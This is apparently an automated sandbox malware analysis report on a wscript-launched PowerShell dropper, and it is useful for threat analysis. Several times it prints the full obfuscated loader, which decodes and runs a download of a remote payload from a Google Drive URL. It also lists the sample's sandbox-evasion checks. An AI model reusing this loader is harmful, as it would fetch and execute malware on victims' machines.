NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BA052A7 pushad ; iretd	1_2_00007FFD9BA052B9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BA00973 push E95B65D0h; ret	1_2_00007FFD9BA009C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BADC410 pushad ; retn 0000h	1_2_00007FFD9BADC5B1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BAD78DD push edi; ret	1_2_00007FFD9BAD78DE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BADC494 pushad ; retn 0000h	1_2_00007FFD9BADC5B1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BAD7C72 push esp; ret	1_2_00007FFD9BAD7C74

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6280			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3497			Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7380	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: wscript.exe, 00000000.00000003.1708614080.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1717547305.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1708336841.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1707930917.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719617454.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}$
Source: wscript.exe, 00000000.00000002.1719782675.000001DC5EB96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2-0000F81FEDEE}\InstanceEE}iskHyper-V Guest Service InterfacevmicheartbeatHyper-V Data Exchange ServiceHyper-V Remote Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume
Source: wscript.exe, 00000000.00000002.1719282268.000001DC5CB2A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718125576.000001DC5CB25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1708284459.000001DC5CB05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718434684.000001DC5CB26000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0G
Source: wscript.exe, 00000000.00000003.1718075633.000001DC5EB8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\InstanceEE}iskHyper-V Guest Service InterfacevmicheartbeatHyper-V Data Exchange ServiceHyper-V Remote Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume
Source: wscript.exe, 00000000.00000003.1718684416.000001DC5CB1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CB1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_ServiceStoppedOKvmicguestinterfacevmicguestinterfaceProvides an interface for the Hyper-V host to interact with specific services running inside the virtual machine.Share ProcessManualNormalC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -pLocalSystemHyper-V Guest Service InterfaceHyper-V Guest Service InterfaceWin32_ServiceWin32_ComputerSystemuser-PCvmicguestinterfaceLMEM@
Source: wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: wscript.exe, 00000000.00000003.1708614080.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1717547305.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1708336841.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1707930917.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719617454.000001DC5EADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000001.00000002.3013440346.000001ADE7FC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWho%SystemRoot%\system32\mswsock.dllikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohInceKorsCicoaftnser,sep$C,aB EmiPunl Asl s aU raNo@
Source: wscript.exe, 00000000.00000002.1719491235.000001DC5EA77000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\Xe
Source: wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_ServiceStoppedOKvmicheartbeatvmicheartbeatUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicheartbeat
Source: wscript.exe, 00000000.00000003.1718684416.000001DC5CB1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CB1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Provides an interface for the Hyper-V host to interact with specific services running inside the virtual machine.
Source: wscript.exe, 00000000.00000003.1718684416.000001DC5CB1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CB1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_ServiceStoppedOKvmicvssvmicvssUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicvssn
Source: wscript.exe, 00000000.00000003.1717643536.000001DC5CB18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7444.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7444, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#selvhrdendes opdrager hjremarginerne dundertaler #>;$usolidere43='councilmen';<#herredmmer plasmagenic jdindernes suttene korjambisk decelerationsbanen udskejelser #>;$dimit=$host.privatedata;if ($dimit) {$pantagraphic++;}function doublecrossing($spisevgringer253){$driftsbesparelse=$gucki+$spisevgringer253.length-$pantagraphic;for( $crunchingly=3;$crunchingly -lt $driftsbesparelse;$crunchingly+=4){$nikeno+=$spisevgringer253[$crunchingly];}$nikeno;}function tramelling($perhapses){ & ($boligydelsen) ($perhapses);}$sortkldt=doublecrossing 'talm ,fospazlocidatls il kna d,/asy5 ke.ind0res lo,(svaw oihornfordf noanswa ss sm con,jrt s. art1epa0so,.vet0,ie;p r showpasi ena.y6d g4hav;c b seexltr6de 4 lo;mis oerchev ,r: ud1ans2tra1fer.ri.0unl)les chag frestocne kundo ar/sor2mur0.au1lok0 f 0zef1pso0 do1 pr idfemiivenrtegemodf umocanx a/e.i1out2ung1mos. n0 a. ';$panservaaben=doublecrossing ' s udiss pae asr.lt- unap lgtapebjlnolet r ';$encheson=doublecrossing 'gyrh aatp ntpespknas ti:beh/ i/le d t.rfrai revfrieimp. s g inosl.omosg jal stehys.rencangomidmun,/ vupercwhe? kne ndx stp ero rrct tplu=pred h,ostiwpannsy,lim obriaessd il&kalif,ide f=h s1lano duqtyreb rlacc7oveu ,agsulopipyuncksids vapdecd ,ar npj gr9dis1 eng l wh mqst os,ri ifv t nlinnindrlinsjea6stipombvfur9 ti4bri ';$dioxid=doublecrossing ' s.>fib ';$boligydelsen=doublecrossing 's aistoeappxs m ';$manducation='springklaps';$drinksenes='\paralytical.nap';tramelling (doublecrossing 'otu$ar gstjl,hooef.bcl,acavlbev:gerc r o fiu rinepotsacecamrevaalnorbreggr u eelimsvis=egy$wooej.nn olvs l:medadmpptw.ppred aaasyrtmaravu.+ yk$ m dhipr elikilnpeakskasnonepitnphaetilsfur ');tramelling (doublecrossing ',or$sozg emld ro keba taunilpra:acrsi vtimpyg,ire otbindmanyrookfa ku cebutr ln=pol$ ateaman.ykcbilhindes.hskeeojobn pa.tyns ekpsy,lsleiab thav(bil$ svd.eyiungocruxpleidord to) sc ');tramelling (doublecrossing 'maw[difncamestrtter.kilsv,le sir mev faibescdaweferptheohypiundnso.tnskm s.a m ns,maspegsameridr k ] a: on:na.sdove apchabupa.r ,rijart apyskupst,ra coskata kof,lcan o nelnon n= nu kv[ ndnr aequatco . vaspite bacstousynra gisartlgtyoplpnerrtrao trtbndogluche ocyclalatr gyekspsa e d]avo:f r: phtnonlmarsp,e1s o2idi ');$encheson=$styrtdykker[0];$northwardly=(doublecrossing ' ou$soggs mlplaononbteraglal or:stelintis ogun h ktt p,a mtgforesl.6 ma8s,v=optnaare bawpar-theostabmiljifae hoc uvtnon earsf ryla.s.potfeeed lmhov.delnk ae untfor.ovewjonea,sboplcgell keiseneps nandt sp ');tramelling ($northwardly);tramelling (doublecrossing ' cr$dialre idkfgl phemutafkaridgenfefre6til8cir.marhovaepa asa.dvapestar sesfag[ un$conptoravo n d sbl econrp lv tuara ashob ade anncem].as= p$at s kao.ntrphotfikky pltrid k tmis ');$semicolloquially=doublecrossing ' f $.oalhlei n grovhreitmi as ng prebad6ur.8fum.strdtypo prwsydn rulozooau aferdan fbetib ml beemyo(pse$ oneoffn unc mohi
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#selvhrdendes opdrager hjremarginerne dundertaler #>;$usolidere43='councilmen';<#herredmmer plasmagenic jdindernes suttene korjambisk decelerationsbanen udskejelser #>;$dimit=$host.privatedata;if ($dimit) {$pantagraphic++;}function doublecrossing($spisevgringer253){$driftsbesparelse=$gucki+$spisevgringer253.length-$pantagraphic;for( $crunchingly=3;$crunchingly -lt $driftsbesparelse;$crunchingly+=4){$nikeno+=$spisevgringer253[$crunchingly];}$nikeno;}function tramelling($perhapses){ & ($boligydelsen) ($perhapses);}$sortkldt=doublecrossing 'talm ,fospazlocidatls il kna d,/asy5 ke.ind0res lo,(svaw oihornfordf noanswa ss sm con,jrt s. art1epa0so,.vet0,ie;p r showpasi ena.y6d g4hav;c b seexltr6de 4 lo;mis oerchev ,r: 